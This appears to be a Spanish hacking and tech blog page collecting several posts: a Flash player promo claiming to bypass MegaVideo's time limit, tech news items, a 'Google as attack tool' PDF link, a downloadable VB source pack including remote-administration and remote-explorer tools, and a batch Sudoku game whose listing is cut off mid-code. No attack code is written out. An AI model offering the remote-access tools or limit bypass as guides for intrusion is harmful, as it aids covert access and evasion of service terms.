Phoenix Flash Player v1.0

Reproduzca y descargue mucho más rápido sus videos...

Un reproductor flash hecho a su medida, más rapido, más estable y sobre todo mucho más divertido.

Este reproductor de archivosShockWaveFlash (.SWF) tiene opciones de reproducción por URL, además una lista de servidores de video, tales como el famoso "YouTube", entre muchos otros.

¿Te gustó el video y no lo puedes descargar?

Con el Phoenix Flash Player te lo descarga, ¿Cómo?, muy sencillo, copias la URL del video que deseas descargar y él directamente te abre una URL con la descarga.

¿Ves videos en MegaVideo pero te pone un limite de tiempo?

Pues con el Phoenix Flash Player eso quedó atrás, este software está implementando un nuevo método de reproducción, en el cual puedes pasar inadvertido y disfrutar de todos tus videos favoritos,

Características:



Nueva Apariencia

Puedes tener la apariencia de tu aplicación como desees, ¡Ajustala a tu medida!



Transparencia

¿Necesitas ocultar rápido tu aplicación?, pues con esta nueva opción lo puedes hacer, sólo necesitas un click y tu aplicación desaparecerá.



Descarga y Reproducción de Videos (YouTube, Vimeo, MegaVideo)

¿Quieres descarga un video de youtube pero no puedes?, pues encontraste la solución, ya que en este reproductor incorporamos la posibilidad de descargar archivos desde estos servidores, lo único que debes hacer es copiar la URL del video que deseas descargar y listo.

Quieres reproducir en un tamaño mas grande que los de estos servidores, ademas de tener una carga 10 Veces más rapida!, copia y pega la URL del video que deseas ver, y el Phoenix Flash Player se encargaré del resto.

Se añadió la opcion de pasar el filtro de tiempo de MegaVideo, (Función Beta)



Descarga de archivos SWF desde cualquier URL

¿Encontraste algún juego o animación en SWF que te gustó pero no la puedes descargar?, pues aqui está la solución, solo debes copiar la URL y pegarla en el lugar respectivo, y Listo!, ya tienes tu Juego ó animación en tu PC.

Requerimientos del Sistema:


Sistemas operativos
Windows 2000
Windows XP (Cualquier Service Pack)
Windows Server 2003
Windows Vista


Hardware mínimo

Pentium 233 MHz (Recomendado: Pentium 500MHz o superior)
64 MB RAM (Recomendado: 128 MB RAM o más)
10 MB de espacio en disco



Capturas





Descarga (100% Gratuita)

Phoenix Flash Player - Download

Fuente: Phoenix Software

Manual de TrueCrypt para Windows

Bueno, aqui les dejo un sencillo manual del conocido programa de cifrado TrueCrypt para Windows

Saludos,
xassiz


Usando Google Como Herramienta De Ataque

Bueno, os dejo este interesante pdf:



<a href="http://consultatusdudas.googlepages.com/Google_N26_ago06.pdf" target="_blank">http://consultatusdudas.googlepages.com/Google_N26_ago06.pdf</a>



Pueden verlo tambien aqui!


Saludos,
xassiz


Baidu, el buscador chino - la competencia de Google

Baidu, el buscador chino, que especializa en música y vídeos, crece a un ritmo veloz y ocupa el segundo lugar como motor de búsqueda en todo el mundo aunque sus usuarios esten concentrados en China, el país con más habitantes del mundo y con un crecimiento en Internet muy superior al resto.



Según los datos estadísticos ofrecidos por marketshare, Baidu obtuvo durante el pasado mes de julio, una cuota de mercado del 8.87%, lo que le sitúa en número de usuarios por encima de Yahoo y Bing. No obstante, esta cuota de mercado podría crecer de forma importante caso de dar el salto a otros idiomas (ingles, castellano, portugues...), ya que actualmente Baidu se encuentra disponible en chino.

Esta situación no ha pasado desapercibida por Google que ha iniciado una política de expansión en el país asiático con medidas polémicas con las que trata de evitar la confrontación con el Gobierno chino y que le permitan crecer lo máximo posible en casa de uno de sus potenciales rivales.

De esta manera Google aceptó censurar las búsqueda de contenidos considerados sensibles, como el estado de los derechos humanos, o no ofrecer a los usuarios chinos su servicio de correo electrónico, mensajería instantánea.

Fuente: dacros.com.ar

Windows 8 verá la luz en 2012

Han sido tres años el tiempo que han tenido que esperar los usuarios para asistir al nacimiento de Windows 7 y serán otros tres lo que tardará en aparecer Windows 8, actualmente en desarrollo y con una fecha de salida prevista para finales del 2012.

Desde el lanzamiento de Vista el 30 de enero de 2007, el avance de la tecnología ha sido indiscutible y la que será la octava versión de la plataforma de Microsoft promete innovar y no defraudar. De momento sabemos que podría integrar elementos de Midori, el proyecto de investigación de un SO modular de Microsoft.

El calendario de difusión de Windows 8 ha sido desvelado por la firma de Redmond durante una conferencia en Italia. Pero estos tres años de espera no son pura coincidencia, ya que la fecha ha sido elegida para competir directamente con Mac OS y así mantener la fidelidad de los consumidores, según informa Silicon News.

Parece que los cinco años transcurridos entre Windows XP y Vista se hicieron demasiado largos para la paciencia del público, por lo que el fabricante ha decidido reducir sistemáticamente el lapso entre sistemas operativos.

P.D:Ahora el lapso va ser mas corto para y mas facil para los vicser y crakers,jejejeej

15 Codigos fuente en VB esenciales

El pack trae los siguientes códigos de fuente :

---------------------------------------------------------

Enviar backup por e-mail
Formulario que envia un backup de respaldo a una cuenta de correo , los dias que indiquemos , cada ves que inicia el programa.

---------------------------------------------------------

Server ftp - diógenes
Servidor ftp programado en vb

---------------------------------------------------------

Navegador con pestañas
Ejemplo de un navegador web con pestañas usando el control webBrowser y un control TabStrip

---------------------------------------------------------

Programa para bloquear PC
Código fuente de un programa que permite bloquear una o varias pc conectadas en red

---------------------------------------------------------

Escanear puertos
Código fuente que usa el control Winsock para escanear los puertos de un Host

---------------------------------------------------------

Server At
Código fuente que permite acceder a una pc por medio de un navegador web.


---------------------------------------------------------


Cliente FTP
Módulo de clase de un Cliente Ftp con las opciones para subir y descargar archivos , crear, renombrar y eliminar etc.. . Utiliza las Apis de wininet


---------------------------------------------------------

Explorador remoto de Pc
Código fuente realizado por Leandro Ascierto de un explorador remoto de pc, permite transferir archivos , renombrar, eliminar y buscar ficheros , ver los procesos remotos y ejecutarlos etc..

---------------------------------------------------------

Enviar ficheros con el control Winsock
Proyecto simple para transferir archivos utilizando el Microsoft Winsock control

---------------------------------------------------------

Enviar imágenes con Winsock
Ejemplo que utiliza el control Microsoft Winsock para enviar imágenes entre un formulario cliente y un form Servidor

---------------------------------------------------------

Administrador remoto cliente - servidor
Ejemplo que usa un formulario Cliente y un Formulario Servidor y permite enviar pulsaciones de teclas , un mensaje , enviar un comando , cerrar un proceso etc..

---------------------------------------------------------

Chat en visual basic
Código fuente de un Programa de Chat con opciones para enviar texto enriquecido , enviar sonido e imágenes, audio, webcam , Emoticons y algunas otras opciones

---------------------------------------------------------

spyUserAgent
Programa realizado en vb 6.0 que permite extraer y mostrar datos en la web

---------------------------------------------------------

ip finder
Obtener el pais al que pertenece una ip y viceversa, accediendo a los datos desde una bd Access por medio de una consulta sql

---------------------------------------------------------


Descargar
http://rapidshare.com/files/124832005/Codigos_fuente_sobre_inet__controles_winsock_y___b y_leann.rar
0
http://www.megaupload.com/?d=L6MYGVYR

Fuente: LatinoHack

Google prepara una evolución a su buscador

El nuevo índice de búsquedas de Google se llama Caffeine y por lo visto será la base de la futura arquitectura del sistema de búsquedas de Google, que entre otras cosas ofrecerá el rastreo, la indexación y los cambios de ránking del buscador.

Google no está incorporando los cambios en su infraestructura actual o sustituyéndola, sino que en lugar de eso están proporcionando a los desarrolladores una preview y están preguntándoles tanto a ellos como a webmasters y a los usuarios avanzados de estos servicios qué opinan del nuevo sistema.

Según el post de la propia Google, la nueva infraestructura incluirá métodos más eficientes para rastrear la web, determinando tanto la reputación como la autoridad de las fuentes de forma más potente y también mostrando resultados relevantes más rápidamente.

Fuente:theinquirer.es

Como diseñaron el Logo de Google Chrome??

[Batch Game] SudokuBat - by xassiz!!

[Batch Game] SudokuBat - by xassiz


Bueno, os traigo mi primer buen juego en Batch Roll Eyes

Como su nombre indica, es un juego de Sudoku's.


Tiene cinco niveles, cada vez mas dificultad.


Primero empieza con un menu:




Si elegimos la 2, nos dara ayuda:




En la 1, ya jugamos al primer sudoku:




Cuando acabemos de rellenar todos los numeros, le damos a Enter para comprobar si lo hemos hecho bien. Si lo hicimos mal, nos lo pondra en un mensaje, y podremos editarlo; si lo ponemos bien, pasaremos al siguiente nivel:




Aqui teneis el code:

@echo off
title Sudokubat - by xassiz
setlocal enabledelayedexpansion
:menu
mode con cols=48 lines=10
cls
echo.
echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo. ³Sudokubat - by xassiz³
echo. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. 1. Play Sudoku
echo. 2. How to play
echo. 3. Exit
echo.&set "opc="
set/p "opc=>> "
if not defined opc (goto:menu)
if ["%opc:~0,1%"]==["1"] (goto:keyb)
if ["%opc:~0,1%"]==["2"] (goto:howto)
if ["%opc:~0,1%"]==["3"] (exit)
goto:menu
:keyb
mode con cols=48 lines=30
if not exist "keyboard.exe" (
(echo.n keyboard.xsz
echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo.rcx
echo.002E
echo.w0&echo.q
echo.)>keyboard.xsz
type keyboard.xsz|debug
ren keyboard.xsz keyboard.exe
) else (goto:vars)
goto:keyb
:vars
set "level=1"
set "pos=°"
call:clean_var
set "position=a[1]"
set "letter=%position:~0,1%"
set "num=%position:~2,1%"
echo.msgbox"Nivel pasado, pulse Aceptar para seguir con el siguiente nivel",99,"Sudokubat - Nivel pasado!">%temp%\sudokubatemp.vbs
:level
if "%level%"=="1" (call:Sudoku_1)
:main
if "!%position%!"==" " (set "%position%=%pos%")
:table
call:header %level%
echo. ÉÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍ»
echo. º %a[9]% ³ %b[9]% ³ %c[9]% º %d[9]% ³ %e[9]% ³ %f[9]% º %g[9]% ³ %h[9]% ³ %i[9]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[8]% ³ %b[8]% ³ %c[8]% º %d[8]% ³ %e[8]% ³ %f[8]% º %g[8]% ³ %h[8]% ³ %i[8]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[7]% ³ %b[7]% ³ %c[7]% º %d[7]% ³ %e[7]% ³ %f[7]% º %g[7]% ³ %h[7]% ³ %i[7]% º
echo. ÈÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍͼ
echo. º %a[6]% ³ %b[6]% ³ %c[6]% º %d[6]% ³ %e[6]% ³ %f[6]% º %g[6]% ³ %h[6]% ³ %i[6]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[5]% ³ %b[5]% ³ %c[5]% º %d[5]% ³ %e[5]% ³ %f[5]% º %g[5]% ³ %h[5]% ³ %i[5]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[4]% ³ %b[4]% ³ %c[4]% º %d[4]% ³ %e[4]% ³ %f[4]% º %g[4]% ³ %h[4]% ³ %i[4]% º
echo. ÉÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍ»
echo. º %a[3]% ³ %b[3]% ³ %c[3]% º %d[3]% ³ %e[3]% ³ %f[3]% º %g[3]% ³ %h[3]% ³ %i[3]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[2]% ³ %b[2]% ³ %c[2]% º %d[2]% ³ %e[2]% ³ %f[2]% º %g[2]% ³ %h[2]% ³ %i[2]% º
echo. þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo. º %a[1]% ³ %b[1]% ³ %c[1]% º %d[1]% ³ %e[1]% ³ %f[1]% º %g[1]% ³ %h[1]% ³ %i[1]% º
echo. ÈÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍͼ
keyboard
if %level%==6 (goto:End) else (call:Sudoku_%level%)
if %errorlevel% == 49 (set "%position%=1")
if %errorlevel% == 50 (set "%position%=2")
if %errorlevel% == 51 (set "%position%=3")
if %errorlevel% == 52 (set "%position%=4")
if %errorlevel% == 53 (set "%position%=5")
if %errorlevel% == 54 (set "%position%=6")
if %errorlevel% == 55 (set "%position%=7")
if %errorlevel% == 56 (set "%position%=8")
if %errorlevel% == 57 (set "%position%=9")
if %errorlevel% == 8 (set "%position%=%pos%")
if %errorlevel% == 72 (goto:MoveUp)
if %errorlevel% == 80 (goto:MoveDown)
if %errorlevel% == 77 (goto:MoveRight)
if %errorlevel% == 75 (goto:MoveLeft)
if %errorlevel% == 13 (goto:Result)
goto:main

:MoveUp
set "old_position=%position%"
set/a num+=1
set "position=%letter%[%num%]"
goto:main

:MoveDown
set "old_position=%position%"
set/a num-=1
set "position=%letter%[%num%]"
goto:main

:MoveRight
set "old_position=%position%"
if "%letter%"=="h" (set "letter=i")
if "%letter%"=="g" (set "letter=h")
if "%letter%"=="f" (set "letter=g")
if "%letter%"=="e" (set "letter=f")
if "%letter%"=="d" (set "letter=e")
if "%letter%"=="c" (set "letter=d")
if "%letter%"=="b" (set "letter=c")
if "%letter%"=="a" (set "letter=b")
set "position=%letter%[%num%]"
goto:main

:MoveLeft
set "old_position=%position%"
if "%letter%"=="b" (set "letter=a")
if "%letter%"=="c" (set "letter=b")
if "%letter%"=="d" (set "letter=c")
if "%letter%"=="e" (set "letter=d")
if "%letter%"=="f" (set "letter=e")
if "%letter%"=="g" (set "letter=f")
if "%letter%"=="h" (set "letter=g")
if "%letter%"=="i" (set "letter=h")
set "position=%letter%[%num%]"
goto:main

:clean_var
for /L %%a in (1,1,9) do (
set "a[%%a]= "
set "b[%%a]= "
set "c[%%a]= "
set "d[%%a]= "
set "e[%%a]= "
set "f[%%a]= "
set "g[%%a]= "
set "h[%%a]= "
set "i[%%a]= "
)
set "a[1]=%pos%"
call:Sudoku_%level%
goto:eof

:header
cls
echo.
echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo. ³Sudokubat - by xassiz³
echo. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. Level %1
echo.
goto:eof

:Sudoku_1
set "a[2]=1"
set "a[7]=6"
set "b[2]=6"
set "b[5]=2"
set "b[6]=9"
set "b[7]=4"
set "b[9]=7"
set "c[2]=5"
set "c[5]=6"
set "c[7]=9"
set "d[1]=9"
set "d[4]=4"
set "d[9]=5"
set "e[1]=1"
set "e[4]=2"
set "e[6]=3"
set "e[9]=6"
set "f[1]=8"
set "f[6]=7"
set "f[9]=2"
set "g[3]=1"
set "g[5]=9"
set "g[8]=8"
set "h[1]=4"
set "h[3]=2"
set "h[4]=1"
set "h[5]=7"
set "h[8]=6"
set "i[3]=3"
set "i[8]=7"
goto:eof

:Sudoku_2
set "a[7]=8"
set "a[8]=9"
set "b[1]=5"
set "b[2]=4"
set "b[3]=7"
set "c[4]=2"
set "c[5]=6"
set "c[6]=7"
set "c[9]=4"
set "d[4]=1"
set "d[6]=8"
set "d[7]=7"
set "e[1]=3"
set "e[2]=8"
set "e[3]=6"
set "e[7]=2"
set "e[8]=1"
set "e[9]=5"
set "f[3]=1"
set "f[4]=3"
set "f[6]=6"
set "g[1]=7"
set "g[4]=5"
set "g[5]=3"
set "g[6]=1"
set "h[7]=6"
set "h[8]=4"
set "h[9]=1"
set "i[2]=9"
set "i[3]=2"
goto:eof

:Sudoku_3
set "a[1]=8"
set "a[4]=1"
set "a[5]=5"
set "a[6]=2"
set "b[1]=7"
set "b[7]=5"
set "c[3]=6"
set "c[7]=9"
set "d[1]=1"
set "d[2]=2"
set "d[8]=3"
set "e[2]=3"
set "e[4]=6"
set "e[6]=7"
set "e[8]=9"
set "f[2]=6"
set "f[8]=4"
set "f[9]=5"
set "g[3]=9"
set "g[7]=8"
set "h[3]=1"
set "h[9]=6"
set "i[4]=2"
set "i[5]=4"
set "i[6]=3"
set "i[9]=9"
goto:eof

:Sudoku_4
set "a[3]=3"
set "a[6]=2"
set "b[3]=4"
set "b[8]=9"
set "c[1]=5"
set "c[3]=7"
set "c[5]=6"
set "c[6]=9"
set "c[9]=3"
set "d[2]=6"
set "e[1]=2"
set "e[4]=7"
set "e[6]=3"
set "e[9]=1"
set "f[8]=8"
set "g[1]=9"
set "g[4]=5"
set "g[5]=8"
set "g[7]=2"
set "g[9]=7"
set "h[2]=1"
set "h[7]=3"
set "i[4]=4"
set "i[7]=5"
goto:eof

:Sudoku_5
set "a[4]=8"
set "a[5]=7"
set "a[6]=4"
set "a[9]=3"
set "b[8]=9"
set "c[1]=2"
set "c[5]=3"
set "c[8]=5"
set "d[1]=3"
set "d[9]=1"
set "e[4]=9"
set "e[6]=6"
set "f[1]=5"
set "f[9]=4"
set "g[2]=6"
set "g[5]=1"
set "g[9]=8"
set "h[2]=7"
set "i[1]=1"
set "i[4]=6"
set "i[5]=2"
set "i[6]=3"
goto:eof

:End
cls
echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo. ³Sudokubat - by xassiz³
echo. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. Felicidades,
echo.
echo. has ganado Sudokubat, eres un gran
echo.
echo. jugador de Sudoku =^)
pause>nul
cls
echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo. ³Sudokubat - by xassiz³
echo. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. Gracias por usar Sudokubat
echo.
echo. Pulse cualquier tecla para salir
pause>nul
exit

:Result
::columns
cls
for %%_ in (a,b,c,d,e,f,g,h,i) do (
if "!%%_[1]!"=="!%%_[2]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[3]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[3]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[7]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[7]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[8]!"=="!%%_[9]!" (set tBoolean=true)
)
if "%tBoolean%"=="true" (
call:header %level%
echo.
echo. Mal
echo.
pause>nul
goto:main
) else (set "Columns=Good")
(set tBoolean=)
::rows
for /L %%- in (1 1 9) do (
if "!a[%%-]!"=="!b[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!c[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!c[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!g[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!g[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!h[%%-]!"=="!i[%%-]!" (set tBoolean=true)
)
if "%tBoolean%"=="true" (
call:header %level%
echo.
echo. Mal
echo.
pause>nul
goto:main
) else (set "Rows=Good")
(set tBoolean=)

::squares

if "%a[1]%"=="%b[2]%" (set tBoolean=true)
if "%a[1]%"=="%b[3]%" (set tBoolean=true)
if "%a[1]%"=="%c[2]%" (set tBoolean=true)
if "%a[1]%"=="%c[3]%" (set tBoolean=true)
if "%b[1]%"=="%a[2]%" (set tBoolean=true)
if "%b[1]%"=="%a[3]%" (set tBoolean=true)
if "%b[1]%"=="%c[2]%" (set tBoolean=true)
if "%b[1]%"=="%c[3]%" (set tBoolean=true)
if "%c[1]%"=="%a[2]%" (set tBoolean=true)
if "%c[1]%"=="%a[3]%" (set tBoolean=true)
if "%c[1]%"=="%b[2]%" (set tBoolean=true)
if "%c[1]%"=="%b[3]%" (set tBoolean=true)
if "%a[2]%"=="%b[3]%" (set tBoolean=true)
if "%a[2]%"=="%c[3]%" (set tBoolean=true)
if "%b[2]%"=="%a[3]%" (set tBoolean=true)
if "%b[2]%"=="%c[3]%" (set tBoolean=true)
if "%c[2]%"=="%a[3]%" (set tBoolean=true)
if "%c[2]%"=="%b[3]%" (set tBoolean=true)

if "%d[1]%"=="%e[2]%" (set tBoolean=true)
if "%d[1]%"=="%e[3]%" (set tBoolean=true)
if "%d[1]%"=="%f[2]%" (set tBoolean=true)
if "%d[1]%"=="%f[3]%" (set tBoolean=true)
if "%e[1]%"=="%d[2]%" (set tBoolean=true)
if "%e[1]%"=="%d[3]%" (set tBoolean=true)
if "%e[1]%"=="%f[2]%" (set tBoolean=true)
if "%e[1]%"=="%f[3]%" (set tBoolean=true)
if "%f[1]%"=="%d[2]%" (set tBoolean=true)
if "%f[1]%"=="%d[3]%" (set tBoolean=true)
if "%f[1]%"=="%e[2]%" (set tBoolean=true)
if "%f[1]%"=="%e[3]%" (set tBoolean=true)
if "%d[2]%"=="%e[3]%" (set tBoolean=true)
if "%d[2]%"=="%f[3]%" (set tBoolean=true)
if "%e[2]%"=="%d[3]%" (set tBoolean=true)
if "%e[2]%"=="%f[3]%" (set tBoolean=true)
if "%f[2]%"=="%d[3]%" (set tBoolean=true)
if "%f[2]%"=="%e[3]%" (set tBoolean=true)

if "%g[1]%"=="%h[2]%" (set tBoolean=true)
if "%g[1]%"=="%h[3]%" (set tBoolean=true)
if "%g[1]%"=="%i[2]%" (set tBoolean=true)
if "%g[1]%"=="%i[3]%" (set tBoolean=true)
if "%h[1]%"=="%g[2]%" (set tBoolean=true)
if "%h[1]%"=="%g[3]%" (set tBoolean=true)
if "%h[1]%"=="%i[2]%" (set tBoolean=true)
if "%h[1]%"=="%i[3]%" (set tBoolean=true)
if "%i[1]%"=="%g[2]%" (set tBoolean=true)
if "%i[1]%"=="%g[3]%" (set tBoolean=true)
if "%i[1]%"=="%h[2]%" (set tBoolean=true)
if "%i[1]%"=="%h[3]%" (set tBoolean=true)
if "%g[2]%"=="%h[3]%" (set tBoolean=true)
if "%g[2]%"=="%i[3]%" (set tBoolean=true)
if "%h[2]%"=="%g[3]%" (set tBoolean=true)
if "%h[2]%"=="%i[3]%" (set tBoolean=true)
if "%i[2]%"=="%g[3]%" (set tBoolean=true)
if "%i[2]%"=="%h[3]%" (set tBoolean=true)

if "%a[4]%"=="%b[5]%" (set tBoolean=true)
if "%a[4]%"=="%b[6]%" (set tBoolean=true)
if "%a[4]%"=="%c[5]%" (set tBoolean=true)
if "%a[4]%"=="%c[6]%" (set tBoolean=true)
if "%b[4]%"=="%a[5]%" (set tBoolean=true)
if "%b[4]%"=="%a[6]%" (set tBoolean=true)
if "%b[4]%"=="%c[5]%" (set tBoolean=true)
if "%b[4]%"=="%c[6]%" (set tBoolean=true)
if "%c[4]%"=="%a[5]%" (set tBoolean=true)
if "%c[4]%"=="%a[6]%" (set tBoolean=true)
if "%c[4]%"=="%b[5]%" (set tBoolean=true)
if "%c[4]%"=="%b[6]%" (set tBoolean=true)
if "%a[5]%"=="%b[6]%" (set tBoolean=true)
if "%a[5]%"=="%c[6]%" (set tBoolean=true)
if "%b[5]%"=="%a[6]%" (set tBoolean=true)
if "%b[5]%"=="%c[6]%" (set tBoolean=true)
if "%c[5]%"=="%a[6]%" (set tBoolean=true)
if "%c[5]%"=="%b[6]%" (set tBoolean=true)

if "%d[4]%"=="%e[5]%" (set tBoolean=true)
if "%d[4]%"=="%e[6]%" (set tBoolean=true)
if "%d[4]%"=="%f[5]%" (set tBoolean=true)
if "%d[4]%"=="%f[6]%" (set tBoolean=true)
if "%e[4]%"=="%d[5]%" (set tBoolean=true)
if "%e[4]%"=="%d[6]%" (set tBoolean=true)
if "%e[4]%"=="%f[5]%" (set tBoolean=true)
if "%e[4]%"=="%f[6]%" (set tBoolean=true)
if "%f[4]%"=="%d[5]%" (set tBoolean=true)
if "%f[4]%"=="%d[6]%" (set tBoolean=true)
if "%f[4]%"=="%e[5]%" (set tBoolean=true)
if "%f[4]%"=="%e[6]%" (set tBoolean=true)
if "%d[5]%"=="%e[6]%" (set tBoolean=true)
if "%d[5]%"=="%f[6]%" (set tBoolean=true)
if "%e[5]%"=="%d[6]%" (set tBoolean=true)
if "%e[5]%"=="%f[6]%" (set tBoolean=true)
if "%f[5]%"=="%d[6]%" (set tBoolean=true)
if "%f[5]%"=="%e[6]%" (set tBoolean=true)

if "%g[4]%"=="%h[5]%" (set tBoolean=true)
if "%g[4]%"=="%h[6]%" (set tBoolean=true)
if "%g[4]%"=="%i[5]%" (set tBoolean=true)
if "%g[4]%"=="%i[6]%" (set tBoolean=true)
if "%h[4]%"=="%g[5]%" (set tBoolean=true)
if "%h[4]%"=="%g[6]%" (set tBoolean=true)
if "%h[4]%"=="%i[5]%" (set tBoolean=true)
if "%h[4]%"=="%i[6]%" (set tBoolean=true)
if "%i[4]%"=="%g[5]%" (set tBoolean=true)
if "%i[4]%"=="%g[6]%" (set tBoolean=true)
if "%i[4]%"=="%h[5]%" (set tBoolean=true)
if "%i[4]%"=="%h[6]%" (set tBoolean=true)
if "%g[5]%"=="%h[6]%" (set tBoolean=true)
if "%g[5]%"=="%i[6]%" (set tBoolean=true)
if "%h[5]%"=="%g[6]%" (set tBoolean=true)
if "%h[5]%"=="%i[6]%" (set tBoolean=true)
if "%i[5]%"=="%g[6]%" (set tBoolean=true)
if "%i[5]%"=="%h[6]%" (set tBoolean=true)

if "%a[7]%"=="%b[8]%" (set tBoolean=true)
if "%a[7]%"=="%b[9]%" (set tBoolean=true)
if "%a[7]%"=="%c[8]%" (set tBoolean=true)
if "%a[7]%"=="%c[9]%" (set tBoolean=true)
if "%b[7]%"=="%a[8]%" (set tBoolean=true)
if "%b[7]%"=="%a[9]%" (set tBoolean=true)
if "%b[7]%"=="%c[8]%" (set tBoolean=true)
if "%b[7]%"=="%c[9]%" (set tBoolean=true)
if "%c[7]%"=="%a[8]%" (set tBoolean=true)
if "%c[7]%"=="%a[9]%" (set tBoolean=true)
if "%c[7]%"=="%b[8]%" (set tBoolean=true)
